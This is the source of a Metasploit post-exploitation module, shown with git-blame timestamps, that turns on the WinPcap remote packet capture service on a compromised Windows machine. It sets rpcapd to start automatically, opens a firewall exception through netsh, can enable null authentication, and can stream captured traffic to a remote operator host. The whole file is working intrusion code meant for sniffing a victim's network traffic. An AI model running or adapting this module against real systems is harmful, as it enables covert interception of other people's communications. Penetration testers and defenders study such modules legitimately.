2012-09-05 17:26:26 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2012-09-05 17:26:26 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Post
|
2012-09-05 17:26:26 +00:00
|
|
|
|
2013-09-05 18:41:25 +00:00
|
|
|
include Msf::Post::File
|
|
|
|
include Msf::Post::Windows::Registry
|
2013-12-15 18:43:55 +00:00
|
|
|
include Msf::Post::Windows::Services
|
2013-09-05 18:41:25 +00:00
|
|
|
include Msf::Post::Windows::Priv
|
2012-09-05 17:26:26 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info={})
|
|
|
|
super( update_info( info,
|
|
|
|
'Name' => 'Windows Manage Remote Packet Capture Service Starter',
|
|
|
|
'Description' => %q{
|
|
|
|
This module enables the Remote Packet Capture System (rpcapd service)
|
|
|
|
included in the default installation of Winpcap. The module allows you to set up
|
|
|
|
the service in passive or active mode (useful if the client is behind a firewall).
|
|
|
|
If authentication is enabled you need a local user account to capture traffic.
|
|
|
|
PORT will be used depending of the mode configured.},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => [ 'Borja Merino <bmerinofe[at]gmail.com>'],
|
2014-06-11 20:10:33 +00:00
|
|
|
'Platform' => 'win',
|
2013-08-30 21:28:54 +00:00
|
|
|
'SessionTypes' => [ 'meterpreter' ]
|
|
|
|
))
|
2012-09-05 17:26:26 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptBool.new('NULLAUTH', [ true, 'Enable Null Authentication.', true]),
|
|
|
|
OptBool.new('ACTIVE', [ true, 'Enable rpcapd in active mode (passive by default).', false]),
|
|
|
|
OptAddress.new('RHOST', [ false, 'Remote host to connect (set in active mode only).']),
|
|
|
|
OptInt.new('PORT', [ true, 'Local/Remote port to capture traffic.',2002])
|
|
|
|
], self.class)
|
|
|
|
end
|
2012-09-05 17:26:26 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def run
|
|
|
|
if is_admin?
|
|
|
|
serv = service_info("rpcapd")
|
|
|
|
print_status("Checking if machine #{sysinfo['Computer']} has rpcapd service")
|
2012-09-05 17:26:26 +00:00
|
|
|
|
2013-12-15 18:28:29 +00:00
|
|
|
if serv[:display] !~ /remote/i
|
2013-08-30 21:28:54 +00:00
|
|
|
print_error("This machine doesn't seem to have the rpcapd service")
|
|
|
|
else
|
2013-12-15 18:28:29 +00:00
|
|
|
print_status("Rpcap service found: #{serv[:display]}")
|
2014-01-03 16:25:15 +00:00
|
|
|
|
|
|
|
start_type = serv[:starttype]
|
2014-05-05 12:19:25 +00:00
|
|
|
prog = get_env('ProgramFiles') << "\\winpcap\\rpcapd.exe"
|
2014-01-03 16:25:15 +00:00
|
|
|
if start_type != START_TYPE_AUTO
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Setting rpcapd as 'auto' service")
|
2014-01-03 16:25:15 +00:00
|
|
|
service_change_startup("rpcapd", START_TYPE_AUTO)
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2016-03-06 05:11:39 +00:00
|
|
|
if datastore['ACTIVE']
|
|
|
|
if datastore['RHOST'].nil?
|
2013-08-30 21:28:54 +00:00
|
|
|
print_error("RHOST is not set ")
|
|
|
|
return
|
|
|
|
else
|
|
|
|
p = prog << " -d -a #{datastore['RHOST']},#{datastore['PORT']} -v "
|
|
|
|
print_status("Installing rpcap in ACTIVE mode (remote port: #{datastore['PORT']})")
|
|
|
|
end
|
|
|
|
else
|
|
|
|
fw_enable(prog)
|
|
|
|
print_status("Installing rpcap in PASSIVE mode (local port: #{datastore['PORT']}) ")
|
|
|
|
p = prog << " -d -p #{datastore['PORT']} "
|
|
|
|
end
|
2016-03-06 05:11:39 +00:00
|
|
|
if datastore['NULLAUTH']
|
2013-08-30 21:28:54 +00:00
|
|
|
p<< "-n"
|
|
|
|
end
|
|
|
|
run_rpcapd(p)
|
|
|
|
end
|
|
|
|
else
|
|
|
|
print_error("You don't have enough privileges. Try getsystem.")
|
|
|
|
end
|
|
|
|
end
|
2012-09-05 17:26:26 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def run_rpcapd(p)
|
2013-12-18 11:54:15 +00:00
|
|
|
service_name = "rpcapd"
|
2013-08-30 21:28:54 +00:00
|
|
|
begin
|
2013-12-18 11:54:15 +00:00
|
|
|
if service_restart(service_name)
|
|
|
|
print_good("Rpcapd started successfully: #{p}")
|
|
|
|
else
|
|
|
|
print_error("There was an error restarting rpcapd.exe.")
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2013-12-18 11:54:15 +00:00
|
|
|
rescue ::Exception => e
|
|
|
|
print_error("The following Error was encountered: #{e.class} #{e}")
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
end
|
2012-09-05 17:26:26 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def fw_enable(prog)
|
|
|
|
print_status ("Enabling rpcapd.exe in Windows Firewall")
|
|
|
|
begin
|
|
|
|
if file_exist?(prog)
|
|
|
|
cmd_exec("netsh","firewall add allowedprogram \"#{prog}\" \"Windows Service\" ENABLE ",30)
|
|
|
|
else
|
|
|
|
print_error("rpcad.exe doesn't exist in #{prog}. Check the installation of WinPcap")
|
|
|
|
end
|
|
|
|
rescue::Exception => e
|
|
|
|
print_status("The following Error was encountered: #{e.class} #{e}")
|
|
|
|
end
|
|
|
|
end
|
2012-09-05 17:26:26 +00:00
|
|
|
end
|